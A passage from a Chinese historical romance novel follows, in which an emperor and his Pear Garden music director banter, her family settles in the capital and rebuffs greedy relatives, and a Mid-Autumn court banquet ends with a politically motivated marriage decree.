皇帝一听,差点同她打商量,能不能在隔壁为他也准备一间。他要是忙完了政务,也有兴致体察一下民情的。但这个唐突的要求最终没能问出口,就算她答应了,辜家人看他上赶着,愈发觉得这皇帝没威势了。 而现在,他更计较的是另一件事,“朕安排辜家全族移居上都,你还不曾发表过看法。辜娘子,你有什么话要对朕说吗?” 苏月知道他要听什么,鉴于他平时尽可能戳她的肺管子,自己也不能让他称心如意。 她托住了腮,长吁短叹,“以前是我一个人背井离乡,现在全家都背井离乡了……我们辜家在姑苏成立家业四十几年,一朝放弃了所有,搬到这人生地不熟的地方来,我对不起爹娘啊。” 皇帝深感气愤,憋屈了半晌道:“朕一直觉得你家这姓不多见,也不知该如何向人介绍。但朕今日悟了,辜负的辜,用在你身上正好。” 苏月不认同,“这又是何必呢,就说古辛辜嘛,介绍起来哪里难了。” 皇帝便抿起唇,别过脸不说话了。 临近中秋,街市两旁挂满了五颜六色的灯笼,灯火照亮他的眉眼,满脸写着“朕不高兴”。 苏月知道他不经逗,动作比脑子转动得更快,在他膝上拍了一下,“其实我还是很感激陛下的,您又送房产又送铺面,辜家何德何能,得陛下如此厚爱啊。” 这回他竟然破天荒地说了句中听的话,“朕觉得你值得。” 苏月心里有点高兴,矫情地追问了句:“为何呀?” 要是照着正常的流程,现在就到了奉承拍马,极度讴歌的时候。比如说你长得好看呀,性格好啊,办事能力强之类,无论逮住哪一样说,都能让人心花怒放。 然而嘴硬的皇帝陛下偏不,他想了很久,想出一个自认为不伤帝王颜面的答案,“朕看够了文武百官对朕卑躬屈膝,听够了王侯将相对朕歌功颂德,朕需要逆耳忠言,需要一个经常能激发朕斗志的人存在,那个人就是你。” 苏月脸上隐隐的笑意,终于转变成了僵硬的尴尬,“臣就像一支醒神的银针,在陛下昏沉不知天地为何物的时候,能一梭子扎醒您,是这个意思吗?” 皇帝仔细斟酌了下,“反正朕昏昏欲睡的时候想起你,精神就亢奋起来,浑身有使不完的劲。” 苏月叹了口气,心想不知造了什么孽,拒婚都没能杜绝这段孽缘。为什么这权大长了这么一张嘴呢,如果他能像裴忌或者权弈一样知礼,也不至于孤身到今天了。 可正当她感慨万千的时候,却发现他探过来拉住了她的手。她悚然一惊,“干什么?孤男寡女,陛下要轻薄我?” 皇帝说:“你多虑了,朕岂是这样的人。”然后端端把她的手放在自己膝盖上,唇边抿出一点腼腆的笑,“就这样,显得亲近。” 苏月想抽手,但在他凛凛的目光下,不得不打消了念头。 所以刚才拍了拍,让她后悔不已,陛下非但没有怪罪她的莽撞,反倒兀自受用起来。她的手放在他膝头,只觉一阵阵的热量从掌心源源向上,顶出了她一脑门子汗。 姿势别扭,两个人是对座,并不是并肩,因此这个动作显得分外刻意。 苏月摁了良久想收手,对面的人忽然开了口,“你对朕好奇吗?若是好奇,朕可以赏你个恩典,让你随意探究。” 外面赶车的国用听见了,脸皱得如重压一整夜的麻布,暗道陛下好大方,竟然发出这样的邀约。虽然自己是个内监,没有体会过男女之间的情愫,但这么聊天也太令人匪夷所思了。如果辜娘子答应,那两人真是绝配,如此步调一致,定能恩爱到老。 精神正常的苏月,看他扭扭捏捏故作镇定,以为自己听错了。 “随意探究是什么意思?”她问,“好奇哪里,便可以摸哪里?” 皇帝难以启齿,但沉默就是默认,不知是不是错觉,苏月从他眼中发现了鼓励的光。 “我其实……没有那么好奇。”她慢慢抽回手,丑话说在前头,“陛下也别指望我像您一样大方,女郎的娇躯寸土寸金,绝不供人随意打探。” 外面的国用吁了口气,心想果然被拒绝了,不过辜娘子这话听上去,同样也说不出的怪诞。 皇帝为了拾掇尊严,发出了无情的嘲笑,“朕关爱臣子,在你眼中却如此龌龊。”可是想了想,又觉得亏得慌,便旁敲侧击起来,“朕把辜家满门接到上都,一一将他们安顿好,可耗费了不少力气。” 苏月心知肚明,这回不用他暗示了,心甘情愿掏出一枚铜钱放到他手上,郑重其事道,“这是臣的回报,请陛下笑纳。” 皇帝紧紧握住这枚钱,像握住了自己的幸福。耗资巨万换来一个铜子儿,这笔账算不明白了,就这样吧。 “朕与太后,有个立春之约。”他状似无意地说,“朕有些担心,怕自己来不及兑现承诺。” 说完等着她好奇心发作,来追问约定的内容,没想到她更注重解决方法,“来不及兑现就赔罪,陛下让太后失望不是一次两次了,想必太后已经习惯了。” 皇帝无语凝噎,用力叹了口气。可苏月心里明白,他与太后的约定,必定关乎他的婚姻大事,大梁王朝的后继子孙。她实则是不想谈及这个问题的,但他叹气叹得这么明显,自己也不能太不赏脸,无奈之下硬起头皮问:“立春之约,约定了什么?” 出乎意料,他没有趁机向她暗示,低头拂了拂袍裾,淡声道:“没什么,朕与太后私下里的谈话,不足为外人道。你在梨园使的位置上好好干,一人忙不过来,多挑几个得力的人襄助,让她们替你分忧。” 他没有趁机相逼,又让苏月感动了一回。皇帝陛下的心智好像逐渐成熟了,面对女郎时再不是没有章法乱拳出击了,学会了迂回婉转。 “今日的恩典……”她犹豫地问,“臣是不是只能以身相许?可是臣刚接手梨园,还没做出成绩来呢。” 皇帝摆摆手,“不要觉得亏欠了朕,动辄以身相许,辜大人岂能这么不值钱。朕就想让你安心,别再让那些人觉得朕公报私仇,朕的胸襟宽广得很。” 他做了太多的事,这个传闻早就不攻自破了,到如今反倒拿这个来宽解她,苏月忽然从辛辣中,品出了些微一丝甘甜。 马车往圆璧城方向进发,穿过护城河,停在了龙光门前。她从车上下来,恭敬地向他行了个礼,“今日多谢陛下,臣进去了,就此拜别陛下。” 皇帝踟蹰片刻,冒出了个新点子,“要不朕去官舍坐坐?朕可以从巷道离开,悄悄返回徽猷殿。” “可是这个时辰,乐工们还未歇下,您一进圆璧城就会被人发现,对臣不利。”她笑了笑,“后日就是中秋节了,陛下等着那日臣与众多乐师一同亮相吧,到时候一定令陛下刮目相看。” 她是意气风发的小女郎,满身都是蓬勃朝气,一心扑在梨园。反观自己,想得有点多,实在是惭愧啊。于是皇帝破天荒没说扫兴的话,甚至鼓励她:“你的琵琶弹得好,专攻这项足以令人折服,千万不要献舞。” 苏月没想太多,笑道:“隔行如隔山,我不敢莽撞。不过陛下为什么这么说?我和颜在确实曾经跃跃欲试来着。” 皇帝分析得有鼻子有眼,“舞者对身段要求高,须得俯仰有节,翩跹未已。而弹琵琶的臂展没什么门槛,只要够得着弦……”他话还没说完,她转身就走,弄得他很迷茫,“嗳,不是你问朕的吗?” 一旁的国用眨巴着小眼,脸上堆满无奈的笑。见皇帝不明就里望向自己,忙道:“娘子必定想起什么要诀来了,着急回去实行,以求在中秋宴上惊艳亮相。” 中秋节,果然是所有人期待的佳节啊。 梨园要安排大宴上的歌舞曲目,等着当日受君臣检阅,刚安定下来的辜家人,也极为重视抵达上都后的头一个节日。 从姑苏到洛阳,拖家带口走了两个月,这一程虽有地方官员处处照应,但水路之后换陆路,陆路之后又换水路,舟车劳顿很是令人疲乏。好不容易安顿下来,一家人得好好过个节,知道苏月节下最忙回不来,那就预备好她爱吃的东西,辜家夫妇专程送过去,让她与梨园中的同伴们分食。 能与女儿再相逢,且想见就能见,对于辜家夫妇来说是不敢设想的幸事。千叮咛万嘱咐,明日要是能抽出空,尽力回家一趟。 待事情办好,又上南北两市查看了店铺的置办。既然搬到了上都,就不限于只开办质库了,辜祈年结识了一个贩卖药材的朋友,打算在北市开个伤药铺试试。人前脚刚到,后脚定好的药材也运来了,直忙到下半晌,夫妇两个才返回永丰坊。 结果还没进门,就见三房急赤白脸赶来,辜颂年一开口,全是对苏月的指责,“合议婚事,郎子给打得乌眉灶眼,眉弓上到现在还发青,胸肋大喘气就生疼。伤了肺可是一辈子的大事,要是有个长短,叫苏意怎么办?” 辜祈年夫妇没有理睬他们,吩咐把采买的东西搬进去,自己没事人般进门了。 三房夫妇交换了下眼色,气不打一处来,追进去又道:“阿兄不吭声,这事就没个商议的余地了,都是自家人,也要为我们想想。” 辜夫人回头道:“这事我们听苏月说了,因白郎子不肯担责,苏月才不得不出此下策。那也是为着苏意,总不能眼看阿妹被人欺辱。” 三夫人道:“人伤了,婚事只怕也要延误,不也害了苏意吗。” 辜祈年的火气已经蓬蓬冒上来了,“伤了就治,治不好就不嫁,非嫁不可就预备守寡,有什么难办的。” 这话把人撅个倒仰,眼看三房目瞪口呆,辜夫人还得做和事佬,“好好说话么,还没议出个长短就大呼小叫。”顿了顿问三房,“你们说要商议,商议什么?” 三夫人不便说话,拿肘捅了捅丈夫,辜颂年理直气壮道:“郎子原先是太常寺的少卿,官职体面得很,后来被上司排挤,贬到廪牺署去了,羊头狗肉的,苏意嫁了也丢人。要不与苏月说说,让她想办法与陛下讨个人情……” 辜祈年冷笑道:“你家郎子因在梨园糟蹋乐工,才被太常寺卿调职,自家吃定了这摊屎,又嫌什么臭?还有你那好女儿,辜家女郎的名声都被她败完了,你们怎么有脸来讨官?若是不想一家子都被踢出族谱,就给我消停些,否则即刻回姑苏去。”千言万语最后汇成了一个大字,“滚!” 第 52 章 被阿兄一吼, 三房夫妇都有些慌,面面相觑地嘟囔:“这是做什么……都是至亲的骨肉,见我们落了难, 就这么埋汰人……” 辜祈年压根不听他们说什么,大步流星穿过了庭院。 三房夫妇还是不死心,不敢再去触怒长兄, 期期艾艾地唤阿嫂,“这事难道不能打个商量吗, 苏意再不成器, 终归是自家的孩子, 总不能看着她抬不起头来。” 辜夫人平时身体不好, 也鲜少有动怒的时候,大家都知道她脾气好,因此三房夫妇就调转枪头盯准了她。 辜夫人还是十分温和的,毕竟刚到上都,一家人和睦最要紧, 便心平气和道:“哪里就抬不起头来了,苏意的郎子不是个四品官吗。早前咱们在姑苏, 为官做宰的人家可不屑与我们结亲, 如今到了上都水涨船高, 怎么反而叫起屈来?” 三夫人支吾了下, 难堪道:“好好的少卿被贬到办理祭品的衙门, 不是明摆着受人排挤了吗。我们见过了郎子, 他也同我们说得清清楚楚,那些关于他的不实传言,从来没有证据,都是受了个别人的诬陷, 才把他害得声名狼藉。阿嫂合该见见他,真是好端端的人才样貌,哪里像苏月说的那么不堪。” 辜夫人敬谢不敏,“你们会亲,我就不凑热闹了。他是什么样的人,亲戚们也不会过问,日子是他们小夫妻关起门来过,过得舒心就行了。” 三夫人说:“正是不能舒心么,郎子的名声不清不楚,这婚成得多窝囊。要是能官复原职,也算是正了名。” 辜夫人发笑,“你们如今的心气是越来越高了,官场上的事,也是说干涉就干涉的。” 辜颂年道:“这不是背靠大树好乘凉吗,你们苏月将来随王伴驾,自己有了出息就不管堂妹,说出去也不好听。” 这话终于触了辜夫人的逆鳞,她立时拉下了脸,寒声道:“苏月何时说要随王伴驾了?我们自家的事,自家都不知道,你们要是敢胡乱宣扬,我可饶不了你们。”说着从袖子里抽出苏意的供状,鄙薄地扔到了他们面前,“看看上面都写了些什么,我瞧着都脸红。自己不尊重,硬让别人抬举,还有这样强逼人的?我家本也有为难之处,你们跟着来上都,福你们享了,人情我们欠着,也算仁至义尽了。若再贪得无厌,往后大可不必来往,苏意的昏礼我们也不参加,你们爱怎么样便怎么样吧。” 他们这里还在说话,听见了内容的辜祈年举着戒尺,从前厅追了出来,横眉怒眼道:“一家子丧良心的东西,不想着如何立足,如何自强,整天弄这些歪门邪道。阿爹阿娘虽不在了,还有我,今日就让我这做兄长的狠狠教训你!” 说着扬起戒尺抽打上去,啪地一声,放炮仗一样,打得辜颂年直蹦起来,“我都多大年纪了,你还打我!” 辜祈年道:“就算长到一百岁,不长进就该打。从今往后不许再提苏意半个字,她早前在梨园怎么害的苏月,我还没与你们算账。若是非要自讨没趣,这门亲戚往后就断了,你家儿女的事,再不与我们相干。” 辜颂年没有了还口之力,被打得满院乱窜。三夫人惊惶地缩在一旁,直等到大伯撒够了气,才敢上前阻拦阻拦。 其实三房一向对大房心存畏惧,但由来这么胡搅蛮缠过来的,以为到了今时今日还和以前一样。可他们忽略了一点,大房夫妇什么都能忍,唯独牵扯上了苏月这块心头肉,是半丝半缕也忍不得。以前不过是打打秋风,为了三瓜俩枣闹上一闹,钱自然就来了。这回闹得过分,讨起官来,一顿竹笋烤肉加深印象,一切念想就此断了,就再也不敢胡乱惦记了。 “别打了……”辜夫人掖手站在一旁只动嘴,“三郎知道错了。” 辜颂年想溜,又被拦住了去路,打得没计奈何只得认错,“阿兄……哎哟,阿兄,往后我再也不敢这样了,求阿兄手下留情。” 辜祈年打得手酸,方才撂下戒尺,“苏月是女郎,打白溪石得叫上缇骑,我这阿爹却不一样。你要是再敢寻死,我就打你个皮开肉绽,打完了叫人押你回姑苏,从今往后族中人人对你们避如蛇蝎,我看你们怎么办!” 辜颂年这回算是彻底老实了,臊眉耷眼嘀咕:“这么大气性,气坏了身子不值当。以后我再不提苏意还不行吗,嫁出去的女儿泼出去的水,我还有旁的儿女要操心,不能为她一个,弄得族中人都不来往。” 辜祈年没好气地一哼,“你能明白这个道理,可见还未彻底昏聩。”然后板着脸往边上一站,示意他们可以滚蛋了。 三房终于垂头丧气离开了,辜夫人这才道:“一点情面也不留,可是不太好啊?” “哪里不好?”辜祈年道,“别说苏月帮不了他家这个忙,就算能帮,也断不可帮。他们家的污糟事一出接一出,今天帮完了还有明天,谁耐烦和他们纠缠一辈子。早前我是极不愿意带他们一同入上京的,要不是他们日夜守在门外,早就半夜里悄悄搬家了。” 那倒是,辜夫人想起那时,实在又气又好笑。家里的铺面和房产要处置,难以暗中进行,被他们得知了,他们卖房卖得比他们还快。然后一家一当全装上马车,就这么眼巴巴地守在巷子里,主君晚间出门办事,猛不丁见三郎跳出来叫阿兄,险些吓得魂飞魄散。最后在他们寸步不离的监视下,只得不情不愿带上他们。 其实心里早有预备,日后少不了麻烦,但没想到麻烦来得如此之快。苏意大了,要出阁是理所应当,然而以这样的方式给自己找了个郎子,乍然听苏月说起,实在把人吓得不轻。 反正三房就是这样了,没什么可多想的,辜夫人愁的是自家的事。 “明日苏月能回来吗?要是回来,陛下会不会跟着一块儿来?” 辜祈年看着檐外的长天,也有些发愁,“咱们收了房子和铺面,诚如把女儿给卖了,我浑身上下都透着难受。这两日细想了想,要不然把手上的钱财全拿出来吧,房子和商铺权当咱们买下来的,这样也不必受制于人,你看怎么样?” 辜夫人思前想后,很是为难,“光是咱们一家好办,这不是全族都来了吗,咱们这点钱财哪里够使。再说你有钱也没处送,难道还能装了箱子运进宫去吗?敢堆到人家面前,不怕人家砍了你的脑袋?” 就是说前怕狼后怕虎啊,辜祈年惆怅地瞅瞅妻子,长叹了口气。天降横财是好事,但若是降得太厉害,也让人发愁。 转头四下打量,他又问夫人,“你不觉得这宅子太大了吗?占了半个永丰坊,怕不是和王侯的宅院一样,咱们什么身份,能住这等宅院?” 辜夫人说是,“那咱们就住半边吧,东面的院子辟出来,万一哪天陛下来了不肯走,也好有地方安置。” 辜祈年挠了挠头,“不曾谈婚论嫁,不便相留吧。” “你是死脑筋么,都这样了,还啰唣什么。”辜夫人道,“苏月的卧房安排在最西边,当间隔着我们所有人的屋子,有那么多双眼睛盯着,怕什么。” 辜祈年立刻顿悟了,“这个安排很是妙,既不得罪人,也能保全苏月。” 那是自然,都是累积经验想出来的好办法。 当初她与苏月的阿爹定下亲事,因她家住钱塘,苏月的阿爹每次来送节礼,都被父母留住在家里。渐渐熟络,渐渐两情相悦,不要怀疑一个谦谦君子背着外人时有多不要脸,“想你想得睡不着”,时有发生。所以为了同样的闹剧不在女儿身上重演,作为过来人的阿娘必须防患于未然。杜绝晚间防备最弱的时候,被某些心怀叵测的人趁虚而入。 夫人一副笃定的样子,看得辜祈年有些尴尬,也不好意思再说别的了,一切按照夫人的意思行事就对了。 永丰坊里忙着布置院落,梨园之中也正紧锣密鼓地预备迎接中秋大宴。 这是开国后的头一个中秋,是继正旦之后最盛大的一场宴会。梨园各部都精心准备了表演的节目,不单有大乐法曲,更有歌舞和百戏杂技。 不过这次的庆典不在西夹城中举办,而是搬到了圆璧城以东的含嘉城内。那是个更有文化气韵的所在,各大藏书馆都设立在那里,就连翰林院选拔官员,都是在那里举行的。 照着皇帝的说法,中秋所有的欢愉都是梨园子弟提供的,他们不再是任人取乐的玩物,他们是日后推动礼乐的中流砥柱,理应受到重视。含嘉城是选拔翰林的地方,将来也是梨园选拔一等乐师的地方。 人有了进取心,才能推动自身技艺更精进,苏月打算每年立春和霜降这日,对梨园子弟进行考核,晋升一二等者,由大府增发相应的俸禄。乐工的地位不断抬升,虽然有点费钱,但皇帝觉得很好,是利在千秋的举措。因此即便尚书省合议时有诸多争执,最后他还是力排众议,确保了苏月计划的顺利实行。 不过梨园使此人,得寸进尺是铁打的事实,趁着大演开场之前,进来回禀的这一小段时间,又向他提出了个维护乐工权益的好主意。 当然,并非直撅撅空口白话,她还是很讲策略的。接过了宫人送来的点心盘,像个人形架子般躬身承托着,满脸都是讨好的笑容,轻声细语道:“陛下,请用果子。” 皇帝戒备地看着她,无事献殷勤,非奸即盗。这次她八成又有什么馊主意,要让他豁出去为她完成了。 犹犹豫豫的手,伸到一半还是缩了回来,“朕不饿,不吃。” 苏月赧然笑了笑,“吃不吃臣都要谏言的,陛下还是先垫垫肚子,听臣慢慢回禀吧。” 皇帝算是对她无话可说了,“你每次见朕,只能谈论梨园吗,就不能说些私事,比方家里准备设宴款待朕之类的?” 苏月略心虚了下,居然发现真的没人想到过这一宗。 无论如何,这个问题得搪塞过去,便随机应变道:“家君同臣说过想宴请陛下,但臣觉得这件事得从长计议。毕竟陛下的安全为上,臣得确保万无一失,才能邀陛下驾临。”言罢又堆起一个笑,“陛下,还是听听臣要禀报什么吧。” 皇帝别开了脸,“今日中秋,朕要过节,什么都不想听。” 看来赔笑脸没用了,讲点实际的吧。于是双手承托着事先准备好的铜钱,小心翼翼送到他面前,“这个谏言很要紧,万望陛下成全。” 铜钱都出马了,一切也不是那么难商量。 皇帝云淡风轻地捏起了那枚钱,“辜大人,这是第五枚了。朕发现凑齐十枚好像不是什么难事,反而是你,特权可要省着点用啊。” 苏月则认为十枚之后又是一个新的周期,他也没说只替她办十件事。大不了他集满十枚,自己满足他一个愿望,还愿之后一切再从头开始,周而复始,可以生生不息。 不过事实还是得阐明一下的,“请陛下明鉴,臣从来不曾谋过私利,所做的一切,都是在为乐工们请命啊。” 那倒是事实,皇帝牵了下唇角,看在铜钱的份上放了软话,“说吧,这回又要求什么?” 苏月恭敬地说:“朝廷不是放了恩典吗,恩准前朝的乐工返回故里,可是真正回去的人寥寥无几,不单是因为战乱过后家中没人了,更是因为回去之后没有生计。陛下是仁君,既然能网开一面,为什么不能授人以渔?给还乡的乐工们一些倚仗吧,譬如让当地官衙给予优待,做生意谋生的减免税负,凭借技艺立足的有优先献演的机会,陛下看这样可好?” 皇帝蹙眉叹了口气,“你的心是好的,但却想得不长远,乐工们抬价拿乔的事才过去多久,你全忘了?朕知道经历了前朝的老乐工苦,可民间靠杂乐糊口的艺人就不苦吗?乐工还乡后事事有优待,难免有霸市的隐患,到时候你我鞭长莫及,官府又不敢上报,吃饱一人饿死了十人,朕问你,怎么办?” 苏月怔住了,细想之下大觉羞愧,“我只关心乐工的生计,忘了兼顾民间乐人的利益了。” 皇帝轻摆了下手,“你原本就只需关心梨园子弟的疾苦,梨园之外有朕,朕替你想到就是了。”略沉吟了片刻才又道,“让州县府衙扶持,减免税负可行,公务需要礼乐时,也可以优先以乐工为重,但民间的婚丧嫁娶,须得容许百姓自行选择。朕相信若价钱公道,技艺超群,自然能有一席之地。朕可以给予优恤,但不能搅乱当地的行市,所以这枚铜钱,朕还能留下吗?” 正常谈论政务时的权大,实在很有帝王威仪。他想的远比苏月多得多,让她自惭形秽,甚至有些不好意思面对他。 他朝她递出了铜钱,一双眼睛紧紧望着她,苏月最终伸手推了回去,“还是留下吧。陛下说得很对,事事都要讲章程,我也不能求得太多太过分。您答应减免税负,单这项就已经是莫大的恩典,他们回去若是要开办乐学,比起别人会轻松许多,还有什么不知足的。” 皇帝悬起的心终于放了下来,心安理得收回铜钱,庆幸地说:“还好你讲理,朕没有看错人。” 苏月嘟囔着瞥了下他,“我一向有大局观,陛下可别……看人低。” 皇帝惊诧,“你又在偷着骂朕?” 人嘛,定会有脑子跟不上嘴的时候。脱口而出,来不及补救,赶紧想个别的办法周全吧,苏月忙靦脸笑道:“节后我要回去与家人吃团圆饭,您可要一道去?” 皇帝终于熨帖了,团圆饭啊,叫上他,意味着什么? 庄重的陛下恨不能立刻雀跃着答应,但还在为面子作最后的挣扎,抬高下巴道:“你求朕一块儿去?朕还得考虑一下……” 苏月点点头,“考虑吧,那臣就先告退了。外面还有一大堆事要忙,陛下过会儿就看我们的吧,如果觉得不错,一定要叫个好啊。” 她急匆匆说完就出去了,殿中的人来不及最终表态,很有些担忧,担心她误会他不答应,就此放弃了。 那厢文武大臣都入殿敬拜,太后领着命妇们也到场了,众人纷纷在自己的座次上落了座,好戏就要开场了。 德阳殿前的广场上架起了好大的天幕,梨园女郎对美的追求已臻极致,提前在舞台中央用七彩的石头铺好莲花纹,供胡旋舞者腾挪旋转,展示技艺。 一百二十人的舞乐史无前例,令人震惊赞叹,这次所用的曲乐也是头一回听到,一段大曲一段小调,有江南的婉约,也有塞北的雄壮。也许不通音律的人只能听出好不好听,热不热闹,但对皇帝来说,能够清晰分辨出五旦七调和十二律。 搁在膝上的手几次想抬起来相击,都因后面有更意想不到的乐律而作罢。心潮澎湃,目光追随着坐在角落里抡指拂弦的女郎。这场大曲盛宴是她领头操办的,但她并不执着于让自己出风头,反倒掩盖锋芒,把机会让给了其他乐师。 这得是多高尚的情操啊,皇帝心想,符合国母的一切标准。而临座的太后,也定是这样认为的。 “好曲,好舞……”太后与几位王妃偏头说话,“早前梨园一板一眼的,奏的那个法曲,我听着都想睡觉。如今再看,嗳,那孩子真有两把刷子。陛下头前和我说起,我还觉得她管不了偌大的梨园,不想今日真刀真枪,才发现没人比她更合适了,你们说是不是?” 大家都知道太后对辜娘子怎么看怎么喜欢,简直巴不得昭告天下,都来看看这准儿媳是不是德才兼备,足令天下女子景仰。 外命妇们其实也曾动过把娘家女郎送进宫的念头,无奈前有十二侍做榜样,这事儿现在成不了。或者再过一阵子吧,等陛下和太后兴头过了,天底下还有不设三宫六院的皇帝? 反正大家现在只盼着赶紧把名分定下来,了了太后的心愿,于是闲谈之间同太后提起,“辜家一族入上京了,就住在南市永丰坊。听说府邸和商铺都是陛下赏赐的,可是打算聘皇后了?您怎么半点不同我们透露?” 太后困在掖庭,消息不怎么灵通,这事皇帝居然没同她说起过。难怪上回言之凿凿下保,明年立春之前会有说法,敢情把人家全族都弄到上都来了,真是下了好大一盘棋啊。 照理说上赶着不是买卖,身居高位面子为重,然而太后并未觉得儿子此举不值钱。在她看来男子为了娶妻,厚着脸皮不计前嫌,那是旷达的表现。 老母亲觉得很欣慰,语调里充满愉快,抚掌说:“人都来上都了,好得很!珍珠,安排下去,中秋一过找个机会,老身要亲自会会辜家夫妇。” 第 53 章 皇帝不知道母亲的打算, 他的全身心都在苏月身上。等大曲奏到激昂处,他领头鼓起了掌,满朝文武见状, 便也放开了胆魄,跟着一同叫好。 并不是察言观色,投陛下所好, 确实是这次的乐舞让人刮目相看。自打梨园换了掌权的人,就像垂垂老矣的朽木焕发了新的生机, 充满了朝气蓬勃的生命力。不管是乐工也好, 舞伎也好, 他们脸上洋溢着自信, 有光的人到哪里都闪耀。再不是谨小慎微,畏首畏尾,即便是面对着大梁最显赫的权贵,他们也觉得自己是人,有站起来的勇气了。 只是大宴时间长, 中途会变换各种舞乐,有创新, 必会有人诟病。 就像霓裳羽衣舞, 以往都是女性舞伎出演, 这次全都换成了男子。他们穿着轻柔绚丽的舞衣, 点缀在肩袖的丝带随着动作在空中翻飞, 刚柔并济, 俯仰进退。 美则美矣,却引发了很多重臣的不满。臣僚们脸上浮起一种奇怪的羞愤神情,纷纷斥责有伤风化,仿佛舞台上翩翩起舞的不是舞者, 而是他们。 这就是男人的傲慢,在他们眼中,男舞者只能跳坚毅充满力量的舞蹈,像这种兼具柔美的,有取悦人的嫌疑。 堂堂男子汉,怎么能搔首弄姿供人取乐,又不是女郎! 所以陈御史慷慨陈词的时候又到了,他忿然说:“男子乃国之脊梁,当有阳刚之美,宁折不弯的精神。如今梨园改革,弄得男儿做娇柔之状,一个个穿着女子的服装,打扮得花枝招展,哪里还有半分男子的雄壮!” 皇帝觉得他们的不平很莫名,“这些舞者都是梨园子弟,梨园本就是为曲乐歌舞而生的。在朕看来,曲舞本无雅俗之分,是优是劣全在观赏者的心境。你们看健舞和踏歌毫无波动,看软舞便怨声载道,这又是何必呢。” 御史台的人自有他们的说辞,“男跳健舞,女跳软舞,这本就是约定俗成的。现在弄得男女不分,男子作小女儿状,岂非阴阳颠倒,章程全乱了吗。且又是在太后与陛下面前献演,臣等觉得甚为不妥,应当立刻叫停才是。” 他们上纲上线,言辞犀利,这些言官除了扫兴,一般没有太大的作用。 皇帝百无聊赖地撑住了脸颊,“今日过节,不是郊社祭祀,也不是王师大献,不过娱乐娱乐而已。朕若是兴起,请几位大人为朕舞上一曲,难道诸位就抗旨不遵了?所以啊,只要高兴,何必计较那许多。不信你们看看诸位王妃夫人们,她们哪个不是兴致勃勃?女眷们尚且有这气量,诸位为官做宰却小肚鸡肠,急欲扼杀大家的快乐,回去之后被夫人们讥嘲,可就得不偿失了。” 皇帝语调轻松,大有四两拨千斤的手段。众多正义愤填膺的重臣们,这时才发现了自家夫人脸上的快乐,恨铁不成钢之余,也大为讪讪。 皇帝一哂,转头问太后:“母后觉得歌舞曲目怎么样?男子跳的霓裳羽衣,可有什么不妥之处?” 太后早就听到御史台那些人倒胃口的言论了,懒得与他们长篇大论,皇帝这样询问,她就直言不讳了,“好看,老身爱看。” 哪条律法上规定,男舞者不能取悦看客?女郎就该跳那些阴柔的舞蹈,男子必要跺脚抡拳,像康居人那样耍刀跳火圈? 太后作为命妇们的代表,六个字堵住了悠悠众口。 说起刀,霓裳羽衣舞后还有更令人震惊的节目。战鼓擂响,上来了十个戎装的女郎,这些女郎束着利落的高髻,手里握着长剑。明明都有美丽洁白的面孔,眼神却如手中的剑一样,凛凛生出寒光。她们的动作经过了精密的编排,和舞曲相得益彰,每一次剑锋划过,都在向满朝文武展现她们的决心。 皇帝很欣慰,就像老父看着蹒跚学步的孩子,一点点长成了天下女郎的脊梁。苏月对今日的献演胜券在握,果真成绩不俗,足够她得意忘形十天半个月了。 一向矜持自重的贵妇们,看到激动处也忍不住拍手叫好,由衷地对太后说:“鲜少能看到这么振奋人心的健舞,尤其舞者都是女郎。” 太后自然也高兴,十分捧场地说:“女郎当自强。大梁和前朝不一样,那个不拿人当人的王朝注定短命,咱们大梁是有人味儿的。乐工和舞伎难道不是人么,前朝折磨他们,本朝要让他们活出人样。” 大家纷纷称道,坐在鲁国夫人边上的女郎却十分难堪。 鲁国夫人察觉了,偏头笑了笑,“公主别多心,不是冲你,否则陛下就不会发令让你一同赴宴了。我看你这阵子无聊得很,是该出来走走,开阔一下心胸了。” 宝成公主没有应她,目光依依望向了上首的皇帝。 自上回一别,就没再见过他。本以为自己回心转意了,作为男子一定求之不得,结果等了半年,一点消息也没有,看来人家是真的对她不感兴趣。 一个没有根的女郎,比那些曾经让她看不起的乐妓,能高贵多少呢。鲁国夫人和她非亲非故,把她养在府里是等着待价而沽的。结果她没有实现半点价值,也不知道自己还能在那府上逗留多久,是不是某一天会被扫地出门,流落街头。 所以皇帝就像救命稻草,她迫切盼望他能解自己的燃眉之急。赴宴之前鲁国夫人说过,陛下忽然想起你,定是好事不是坏事,让她心里重新燃起了希望。可大宴进程过半,好像仍是没有任何改变,她不由怀疑,自己可能仅仅是皇帝彰显容人雅量的工具吧。让鲁国夫人带她出席,也只是为了告诉那些投靠新朝的官员,前朝的宝成公主都活得好好的,只要他们忠心,皇帝陛下绝不会亏待他们。 暗自叹口气,她怏怏低下了头,总觉前路茫茫,不知归处。那个先前在鲁国夫人府上弹曲,很让她看不上的乐妓摇身一变,被皇帝扶植成了梨园使,她实在有些想不明白,当今陛下究竟是怎样的眼光和癖好。自己有高贵的出身,相貌也不差,可他却凶神恶煞丝毫不知怜香惜玉,难道他对待那个乐妓也是如此吗?那又怎么冒天下之大不韪,把梨园送给了她? 正在思绪纷乱的时候,忽然听见鲁国夫人唤她。她茫然抬起头,见所有人的目光都投向自己,她不明就里,顿时有些心慌。 鲁国夫人小声提点她,“陛下为你赐婚了。” 赐婚?她吃了一惊,赐给谁了? 只见上首的皇帝一副波澜不惊的模样,淡声道:“中秋是团圆的日子,大将军曾随朕南征北战,劳苦功高。朕不忍见你形单影只,特给你指个佳偶,往后时时有人照应,朕在宫里也放心了。” 宝成公主循着皇帝的视线望过去,见头一排食案后,站着一个三十来岁长相严厉的男子。虽说神情谦卑,口中称谢,但那眉眼让人畏惧──她几乎要哭出来了,不明白怎么莫名其妙被指给了那个毫不相干的人。 但果真毫不相干吗?皇帝不这么认为、长揖谢恩的大将军李再思不这么认为,满朝文武也不这么认为。 大将军李再思,功高盖世是不假,但此人居功自傲,曾经酒后放出狂言,若没有他,就没有权家的天下,没有这大梁王朝。 话传到皇帝耳朵里,皇帝很大度,不过笑了笑,没有认真计较。但当时不计较,不表示不往心里去。李再思旧部众多,对他死心塌地的将士不少,没有天大的罪证想去收拾他,必定会动摇军心。 所以皇帝将宝成公主送到他身边,意在告诉他,往后可要老实些了,娶了这么一位前朝公主,随时可以定你个谋逆的重罪。也仅仅是凭借这么一个简单的举措,拿捏生死的大权便牢牢握在了皇帝手上,毕竟九龙椅不好坐,要想坐得稳当,须得挖空心思,用尽手段。 鲁国夫人心下有些失望,自己收留这位前朝公主大半年,最后没能派上她想要的用场。不过把人养得不错,想来也有些功劳,便暗暗推了宝成公主一把,“陛下赐婚,赶紧上前谢恩。” 宝成公主满心不情愿,早前扬言寻死,可惜后来又不敢了。既然想活,别人怎么安排你,你只有依令行事。 